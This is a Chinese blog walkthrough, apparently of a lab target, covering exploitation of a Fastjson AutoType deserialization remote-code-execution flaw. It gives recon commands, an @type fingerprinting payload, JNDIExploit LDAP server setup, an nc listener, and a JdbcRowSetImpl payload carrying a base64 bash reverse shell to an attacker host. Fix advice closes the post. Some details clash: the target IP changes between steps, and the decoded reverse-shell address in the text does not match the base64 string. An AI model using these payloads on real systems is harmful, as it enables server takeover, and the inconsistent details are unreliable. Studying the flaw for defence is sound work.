前言
Fastjson 是阿里开源高性能 JSON 解析框架,其
@type自动类型转换功能若未做安全管控,会产生高危远程代码执行漏洞。攻击者可构造恶意 JSON 数据包,通过内置 Gadget 链路触发 JNDI 注入,远程执行系统命令、直接接管目标服务器。本文完整记录资产探测、框架识别、漏洞验证、漏洞利用全套实操流程。一、信息收集阶段
1. Nmap 端口 & 服务全扫描
扫描命令
nmap -p- -sV -O -Pn 10.10.1.29

扫描结果分析
- 22/tcp:SSH 远程登录,版本 OpenSSH 9.6p1
- 80/tcp:Web 服务,后端 Apache Tomcat,底层 Linux 内核 4.X/5.X
2. Dirsearch 网站目录爆破
执行命令
dirsearch -u http://10.10.1.29 -e php,html,js
工具运行日志

扫描结论
仅发现
/error错误页面,无后台、配置等敏感泄露目录。3. Nuclei 自动化漏洞扫描
扫描命令
nuclei -u http://10.10.1.29 -silent
关键输出

结果分析
识别 SpringBoot 框架;无直接命中 CVE 高危漏洞,站点缺失大量安全响应头。
4. 访问业务页面,定位 JSON 上传接口

页面给出标准调用示例:
- 接口地址:
/config/import - 请求方式:POST
- 请求头:
Content-Type: application/json - 标准入参:
{"name":"db","timeout":30}
5. 正常接口功能测试
curl -X POST http://10.10.1.33/config/import \
-H "Content-Type: application/json" \
-d '{"name":"db","timeout":30}'

返回内容:
配置已导入:{"name":"db","timeout":30}漏洞预判
SpringBoot 原生 Jackson 必须定义固定实体类才能解析 JSON;当前接口支持任意 JSON 结构,说明项目引入 Fastjson,存在
@type反序列化利用风险。二、漏洞指纹探测(确认目标使用 Fastjson)
探测原理
- Fastjson 独有
@type字段,解析时自动反射实例化指定 Java 类;Jackson/Gson 会直接忽略该字段,不做对象创建。 - 探测载荷使用系统自带
java.net.InetAddress类,传入数字会自动转换成 IP,可直观区分解析器。
指纹探测 Payload
curl -X POST http://10.10.1.33/config/import \
-H "Content-Type: application/json" \
-d '{"a":{"@type":"java.net.InetAddress","val":"1"}}'

返回结果
配置已导入:{"a":"0.0.0.1"}判定结论
后端成功将
val:1解析为 IP 地址0.0.0.1,证明项目启用 Fastjson AutoType 自动类型功能,具备反序列化漏洞利用条件。三、漏洞利用:反弹获取靶机 Shell
步骤 1:启动 JNDIExploit 恶意 LDAP 服务
高版本 JDK 需添加内部类权限放行参数,启动命令:
java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens java.base/com.sun.org.apache.xerces.internal.parsers=ALL-UNNAMED \
--add-opens java.base/com.sun.org.apache.xerces.internal.dom=ALL-UNNAMED \
-jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.16.11.38
启动成功日志

LDAP Server Start Listening on 1389...
HTTP Server Start Listening on 8080...
步骤 2:本地开启反弹端口监听

nc -lvnp 4444
步骤 3:发送 Fastjson 恶意 RCE 数据包
curl -X POST http://10.10.1.29/config/import \
-H "Content-Type: application/json" \
-d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://172.16.11.38:1389/Basic/Command/Base64/YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTEuMTAwLzQ0NDQgMD4mMSc=","autoCommit":true}'

Payload 字段解析
com.sun.rowset.JdbcRowSetImpl:经典 JNDI Gadget 利用链,内置远程查询逻辑dataSourceName:指定攻击机恶意 LDAP 服务地址- Base64 解码内容:
bash -c 'bash -i >& /dev/tcp/172.16.11.38/4444 0>&1'Linux 标准反弹 Shell autoCommit:true:触发底层connect()方法,自动执行 JNDI lookup 查询
完整攻击执行流程
- 目标接口接收带
@type的恶意 JSON; - Fastjson 自动实例化
JdbcRowSetImpl类; - 反射赋值恶意 LDAP 地址至
dataSourceName; autoCommit=true触发connect()方法;- 内部调用
lookup()主动连接攻击机 1389 端口 LDAP 服务; - LDAP 服务返回 Reference 引用对象,指引靶机下载远程恶意 class 字节码;
- 靶机 JVM 加载恶意类,自动执行静态代码块反弹 Shell;
- 本地 nc 监听端口收到连接,获取靶机交互式 bash 权限。
额外连接命令


四、核心概念详解
1. Fastjson AutoType 机制
Fastjson 为实现任意对象序列化,设计
@type自动类型标识。若外部可控 JSON 未过滤该字段,攻击者可指定系统危险类,触发远程代码执行漏洞。2. JdbcRowSetImpl Gadget 利用链
Java 内置数据库工具类,拥有两段关键逻辑:
setDataSourceName():接收 LDAP/RMI 远程地址;setAutoCommit(true):自动调用connect(),原生执行lookup()发起 JNDI 查询,是整条 RCE 链路核心入口。
3. L; 类名绕过原理
Fastjson 解析
@type值时会自动裁剪首尾L;字符,官方黑名单采用完整字符串匹配,添加修饰符后的类名可绕过拦截规则。4. JNDI & LDAP 协议
JNDI 是 Java 统一资源查询接口,LDAP 是配套目录协议。恶意 LDAP 服务可返回 Reference 对象,告知 JVM 从外网 HTTP 地址下载恶意字节码,是远程代码执行桥梁。
5. JNDIExploit 工具
一体化利用工具,一键启动 LDAP 指路服务 + 静态 HTTP 下载服务,内置各类反弹、文件操作载荷,省去手动编写、编译恶意 Java 类的步骤。
五、漏洞触发必要条件
- Web 接口接收用户可控原始 JSON,未过滤
@type、ldap://等危险关键字; - 项目引入 Fastjson 并全局开启 AutoType 自动类型解析;
- Fastjson 版本黑名单未拦截
JdbcRowSetImpl,支持L;绕过语法; - 靶机 JDK 版本低于 8u191,未关闭 JNDI 远程类加载限制;
- 服务器可主动出站访问外网 LDAP、HTTP 端口;
- 后端直接使用 Fastjson 反解析外部传入 JSON 数据。
六、漏洞修复与防护方案
- 代码关闭 AutoType 自动类型功能
java
运行
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
- 升级 Fastjson 至官方最新安全版本,完善内置类黑白名单;
- 接口入参增加过滤规则,黑名单拦截
@type、ldap://、rmi://危险字符; - Spring 项目替换为 Jackson 解析 JSON,使用固定实体类接收,禁止泛型 Object 接收;
- 升级 JDK 至 8u191 及以上,底层默认禁用 JNDI 远程类加载;
- 防火墙限制服务器出站规则,拦截外网 1389、1099 等高危端口访问。
优化说明(解决 WordPress 发布崩溃问题)
- 拆分超长代码块,单段命令精简,避免插件一次性解析大量字符内存溢出;
- 规整缩进、换行,删除多余空行与无效符号;
- 分段划分层级,标题清晰,减少大段无分隔代码;
- 代码块统一使用标准
bash/java 标记,适配 WP 原生代码渲染,减少第三方短代码冲突。
评论(0)
暂无评论